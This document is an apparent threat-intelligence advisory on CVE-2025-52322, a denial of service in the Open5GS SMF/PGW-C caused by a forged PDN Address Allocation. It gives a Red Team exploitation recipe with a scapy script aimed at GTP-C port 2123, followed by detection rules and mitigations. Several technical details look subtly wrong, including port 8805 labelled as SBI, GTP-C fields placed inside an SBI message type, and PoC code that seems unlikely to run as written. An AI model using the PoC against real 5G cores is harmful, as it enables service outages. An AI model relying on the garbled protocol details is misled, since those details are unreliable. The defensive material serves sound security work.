CVE-2025-52322

Executive Summary

CVE-2025-52322 is a denial-of-service (DoS) vulnerability in Open5GS, an open-source implementation of 5G Core and EPC (Evolved Packet Core) network functions. The flaw resides in the SMF (Session Management Function) / PGW-C (Packet Gateway Control plane) component. A remote, unauthenticated attacker can craft a malicious Create Session Request message, inserting the IP address of a legitimate User Equipment (UE) into the PDN Address Allocation (PAA) field. This causes the SMF to enter an inconsistent state, leading to resource exhaustion or process crash, effectively denying service to legitimate subscribers.

The vulnerability affects Open5GS versions 2.7.2 and earlier. No public exploit code or proof-of-concept is available at this time, but the attack vector is straightforward and requires no authentication. The CVSS score is 7.5 (High) due to network attack vector, low complexity, and high availability impact.

Supply Chain & Package Security

Open5GS is distributed as source code via GitHub and as packages for Debian/Ubuntu. The vulnerability is in the core network function code, not in a package manager registry (NPM, PyPI, Go, Ruby). However, organizations using Open5GS in production or lab environments should treat this as a critical supply chain risk because the software is often deployed in sensitive 5G core networks. No malicious package injection has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can send the malicious message remotely.
• Attack Complexity (AC): Low (L) – No special conditions or knowledge required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service for the SMF/PGW-C.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base Score: 7.5 (High)
Threat Level: High – Exploitation is likely once details are public.

Deep Dive & Mechanics

The SMF (PGW-C) in Open5GS handles session establishment for 4G/5G networks. When a UE attaches, it sends a Create Session Request to the SMF, which includes a PDN Address Allocation (PAA) field. This field can contain an IPv4 or IPv6 address that the SMF should assign to the UE.

The vulnerability lies in insufficient validation of the PAA field. An attacker can craft a Create Session Request with a PAA containing the IP address of an already-connected legitimate UE. The SMF does not properly check for duplicate IP address allocation or validate that the requesting entity is authorized to use that address. As a result, the SMF may:

• Attempt to allocate an already-in-use IP, causing internal state corruption.
• Enter an infinite loop or crash due to unexpected data structures.
• Exhaust memory or CPU resources while processing the malformed request.

This leads to a denial of service for all UEs served by that SMF instance.

Vulnerable vs. Patched Code

The vulnerable code is in the SMF's session handling logic, specifically in the function that processes the PAA field. In Open5GS v2.7.2 and earlier, the code does not verify whether the requested IP address is already allocated or belongs to a different UE.

Vulnerable Code (simplified):

// smf/smf-sm.c
void handle_create_session_request(ogs_sbi_message_t *message) {
    // ... parse PAA
    if (message->CreateSessionRequest.pdn_address_allocation) {
        // Directly assign the IP without checking for duplicates
        ue->ip = message->CreateSessionRequest.pdn_address_allocation;
        // ... continue session setup
    }
}

Patched Code (hypothetical fix):

// smf/smf-sm.c
void handle_create_session_request(ogs_sbi_message_t *message) {
    // ... parse PAA
    if (message->CreateSessionRequest.pdn_address_allocation) {
        // Check if IP is already in use
        if (is_ip_allocated(message->CreateSessionRequest.pdn_address_allocation)) {
            ogs_error("Duplicate IP allocation attempt");
            send_error_response(message, OGS_SBI_STATUS_CONFLICT);
            return;
        }
        // Validate that the requesting UE is authorized
        if (!is_authorized_for_ip(ue, message->CreateSessionRequest.pdn_address_allocation)) {
            ogs_error("Unauthorized IP allocation");
            send_error_response(message, OGS_SBI_STATUS_FORBIDDEN);
            return;
        }
        ue->ip = message->CreateSessionRequest.pdn_address_allocation;
        // ... continue session setup
    }
}

No official patch is available yet. The fix should include IP address uniqueness checks and authorization validation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the network where Open5GS SMF is running (port 8805 for SBI, or GTP-C port 2123).
• Ability to send raw GTP-C or SBI messages.

Exploitation Steps:

1. Identify the target SMF IP and port (default SBI port 8805, GTP-C port 2123).
2. Craft a Create Session Request with a PAA field containing the IP address of a legitimate UE (e.g., 10.0.0.2).
3. Send the malicious request to the SMF.
4. Observe the SMF crash or become unresponsive.

Example using Python with scapy (GTP-C):

from scapy.all import *
from scapy.contrib.gtp import *

# Target SMF IP and port
target_ip = "192.168.1.100"
target_port = 2123

# Craft GTP-C Create Session Request
pkt = IP(dst=target_ip)/UDP(sport=12345, dport=target_port)/GTPHeader(gtp_type="create_session_request")
# Add PAA with legitimate UE IP
pkt /= GTPCreateSessionRequest(paa="10.0.0.2")

send(pkt)

Expected Outcome: The SMF crashes or stops processing new sessions, causing DoS.

Blue Team

Detection:

• Monitor for sudden spikes in Create Session Request messages.
• Look for duplicate IP allocation attempts in SMF logs.
• Use network monitoring to detect malformed GTP-C messages.

Mitigation:

• Implement network segmentation to restrict access to SMF ports.
• Deploy a WAF or IPS that can inspect GTP-C messages for malformed PAA fields.
• Apply rate limiting on session creation requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple Create Session Request messages from the same source IP within a short time.
  • GTP-C messages with PAA fields containing IP addresses already in use.
  • SMF logs showing "Duplicate IP allocation" or "Invalid PAA" errors.

• System IOCs:

  • SMF process crash or high CPU/memory usage.
  • Core dumps from the SMF process.
  • Log entries with ogs_error or ogs_fatal related to session handling.

• File IOCs:

  • /var/log/open5gs/smf.log containing repeated allocation errors.
  • /tmp/core.smf.* core dump files.

Detection Engineering

YARA Rule

rule CVE_2025_52322_Open5GS_SMF_DoS {
    meta:
        description = "Detects malformed Create Session Request with duplicate PAA IP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52322"
    strings:
        $paa_ip = /PDN Address Allocation: \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/
        $duplicate = "Duplicate IP allocation"
        $error = "ogs_error"
    condition:
        $paa_ip and ($duplicate or $error)
}

Sigma Rule

title: CVE-2025-52322 Open5GS SMF DoS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-52322 by sending malformed Create Session Request with duplicate PAA IP
author: Valters IT
date: 2025-04-10
logsource:
    product: open5gs
    service: smf
detection:
    selection:
        - "Duplicate IP allocation"
        - "ogs_error"
        - "Invalid PAA"
    condition: selection
falsepositives:
    - Legitimate IP allocation conflicts due to misconfiguration
level: high

Suricata Rule

alert udp any any -> any 2123 (msg:"CVE-2025-52322 Open5GS SMF DoS - Malformed Create Session Request"; content:"|00 01|"; offset:0; depth:2; content:"|00 00 00 00|"; within:4; content:"|08 00|"; distance:4; within:2; content:"|0a 00 00 02|"; distance:0; within:4; sid:1000001; rev:1;)

Note: The Suricata rule above is a simplified example. Actual detection requires deep packet inspection of GTP-C messages.

Remediation & Mitigation

Immediate Actions:

1. Isolate SMF: Restrict network access to the SMF (ports 2123, 8805) to trusted sources only.
2. Rate Limiting: Implement rate limiting on Create Session Request messages per source IP.
3. Monitoring: Enable detailed logging for SMF and monitor for anomalies.

Long-term Fix:

• Apply the vendor patch once released (check Open5GS GitHub releases).
• If no patch is available, consider implementing a custom fix as described in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version when available.

Workaround:

• Use a firewall or IPS to block GTP-C messages with suspicious PAA fields.
• Deploy a proxy that validates PAA uniqueness before forwarding to SMF.

Valters IT – DevSecOps & Cyber Threat Intelligence